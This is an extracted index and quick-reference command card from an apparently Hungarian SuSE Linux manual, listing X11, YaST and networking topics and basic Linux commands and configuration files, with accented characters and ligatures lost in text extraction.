Western Digital WD80x3 , 402 wget, 468 wget, 432 Wide Area Network, lsd WAN widget, 304 Wildcards, 573 wildcards, 498 window, 304 window manager conguration, 304 fvwm2 , 294 setting, 110 start, 295 WINDOWMANAGER, 287, 288, 295 windowmanager, 283 tasks, 286 Windows, 215, 216, 544 Samba, 468 SMB, 223 Windows, 223 Windows Explorer, 64, 143 Windows NT, 206, 223 bootmanager, 119 Windows partcik, 91 Windows 95 Linux partcik hozzrendelse, 56 Windows 95/98 bootmenu, 141 DOS mode, 50 Linux partcik hozzarendelse, 57 Windows 95/98/ME, 567 Windows 98, lsd Windows 95 Windows for Workgroups, 508 Windows NT, 508 Windows NT/2000, 567 WinFlex, 216 WinFlex, 216 WINS, 224 Wm2, 285 wrapper SuSEFax, 206 WU-FTPD, 424 wuftpd, 421 Wvdial, 187 wvdial, 172, 186189, 191, 192, 335, 336, 346 wvdial.lxdialog, 188 wvdial.tcl, 188 WWW-server, 543 X -probeonly, 268, 269 X Consortium, Inc., 4, 235 X Szerver, 573 X Window rendszer, 4, 270, 573 X Window System, 235, lsd X11, 573 X.75, 180 X11, 235 .Xresources, 305 character fonts, 276 conguration, 238, 263 keyboard, 264 mice, 263 monitors, 264 X server, 266 defaults, 304 display manager, 469 driver, 275 fonts, 276 framebuffer, 249 graphics cards, 266 logle, 253 mkfontdir, 276 optimization, 270 595

Trgymutat shutdown, 469 start, 254 troubleshooting, 249 True type font, 276 ttmkfdir, 276 user settings, 305 VGA, 250 VGA16, 250 X11R1, 235 x3dlabs, 421 xarchie, 305 xcyrix, 421 xdevel33, 436 XDM, 109, 110 xdm, 109, 287, 290, 421, 463, 560 xdvi, 491 Xenix, 508 XF86_8514, 237 XF86_Mach32, 237 XF86_Mach8, 237 XF86_S3, 237 XF86Cong, 263 clocks, 274 depth, 274 device, 272, 274 device section, 275 driver, 273 les, 272 input device, 272 modeline, 272, 274 modes, 272, 274 monitor, 272, 274 monitor section, 276 screen, 272 screen section, 273 server ags, 272 server layout, 273 subsection display, 274 xf86cong, 236, 238, 263, 266, 268, 270 XF86Setup, 236, 263 xformsd, 423 XFree86, 2, 5, 236 history, 235 xfsetup, 236 xglint, 421 xinetd, 465, 488 596 XInfo (xinfo), 437 xinfo, 7 xinit, 238 xisdnload, 173 xkeycaps, 280 xkeycaps, 280 xli, 296 xlsfonts, 279 xntp, 469 xpmroot, 296 xrdb, 306 xrpm, 434 xset fp, 276 xset +fp, 276 xsetpointer, 280 xsetroot, 298 xsis, 421 xterm, 173, 186, 281, 295, 296, 306, 565 xv, 296 xvga16, 236 xvidtune, 252 Xwrapper, 421 YaST, 2, 5, 10, 15, 16, 22, 23, 2529, 3145, 48, 57, 64, 68, 7479, 81 84, 86, 89, 93106, 108, 109, 111115, 122, 128, 132, 138, 151, 152, 155, 156, 162, 167, 173, 174, 176191, 200202, 204, 236, 238, 255, 258, 281, 294, 301 303, 313, 319, 328, 335338, 346, 349, 354, 356, 357, 359, 361, 362, 368, 369, 374, 418423, 425, 428, 432434, 439, 440, 448, 450, 460 464, 478, 481, 492, 518, 529531, 533, 541, 542, 545, 557, 562 LILO , 103, 104 administration, 100 backup, 113 boot conguration, 103 boot kernel, 103 conguration, 94 conguration le, 114 formatting, 93 fstab le, 93 function keys, 81 group administration, 112 index of all series and packages, 98 inode density, 92 installation, 82 installation medium, 83 installing packages, 99 integrating hardware, 101 kdm, 109 main menu, 82 network, 106 package deleting, 100 package dependencies, 98 package selection, 95 partitioning, 88 selecting a kernel, 103 selecting keyboard layout, 83 selecting the language, 83 series selection, 95 setting lesystem, 90 setting mountpoint, 91 setting the lesystem type, 90 setting up a CD-ROM drive, 101 setting up a modem, 101 setting up a mouse, 101 setting up a network card, 101 setting up a printer, 102 setting up a scanner, 101 size of installation, 94 susewm, 110 system security, 114 system updating, 100 user management, 111 xdm, 109 XFree, 114 YaST , 81 yast ISDN, 176 yast, 43, 81

Trgymutat YaST1, 31, 55, 418 YaST2, 15, 1723, 25, 28, 242, 281, 341, 418, 428 billenty zet, 19 u egr hozzadsa, 19 id zna, 19 o ybind, 167 Yellow Pages, lsd YP YP client conguration, 107 server, 467 YP server update, 427 yp.conf, 166 ypbind, 167 ypclient, 428 ypserv, 427 yudit, 278 yudit, 278

ZIP drive parallel port, lsd hardware, parallel port ZIP drives, lsd hardware, ZIP drives

597

Referencia: A legfontosabb parancsok s fjlok Fordtotta: Zelena Endre


A parancsok s az opcik kztti kihagys ("szepartor") nem maradhat el, azt "whitespace"-knt (szkz, tabultor) kell bevinni. Lsd a 1.3 . fejezetben (7. oldal).

Informcik, lersok
less <file name> cd <directory> Fjl megjelentse Knyvtrvlts a megadottra (Hiba: cdDirectory ls -l <dir_or_file> Knyvtr s fjl attribtumok megjelentse rpm -qi <package name> Informcik a megadott csomagrl. man <command> A parancs kziknyvlapja. /usr/doc/howto Jnhny "HOGYAN" dokumentum, nagyon sok tmakrben. /usr/doc/packages/* A teleptett csomagok dokumentcii. /usr/doc/packages/i4l/README.Quick Aktulis ISDN lers

Kongurcis fjlok s naplk


~ /etc /etc/conf.modules /etc/rc.config /etc/rc.config.d /etc/profile /etc/profile.d ~/.profile A HOME, azaz a bejelentkezsi knyvtr szinonmja Kongurcis fjlok helye Automatikusan betlt d kernel-modulok paramterei o o A SuSE Linux belltsait tartalmaz fjl Az /etc/rc.config-hoz tartoz knyvtr A bejelentkezsi shell (parancsrtelmez ) kongurcija o A /etc/profile-hoz tartoz knyvtr Sajt kiegsztsek a /etc/profile-hoz. lsd mg ~/.bashrc, ~/.bashrc_login A rendszer naplfjljai ltalnos rendszerzenetek A kernel betltsi zenetei

/var/log /var/log/messages /var/log/boot.msg

Rendszerindts
/etc/lilo.conf /sbin/init.d A LILO belltsai Rendszerindtskor fut scriptek knyvtra

X-Window belltsok
/etc/XF86Config ~/.X.err Az X-Window kiszolgl belltsai Az X-kiszolgl zenetei X-Window kiszolgl

/var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx

Hlzat
/sbin/ifconfig /sbin/route -n ping <IP number> Hlzati kongurci lekrdezse Routing-tblzat lekrdezse A megadott szmtgp elrhet sgnek vizsglata o

You might also like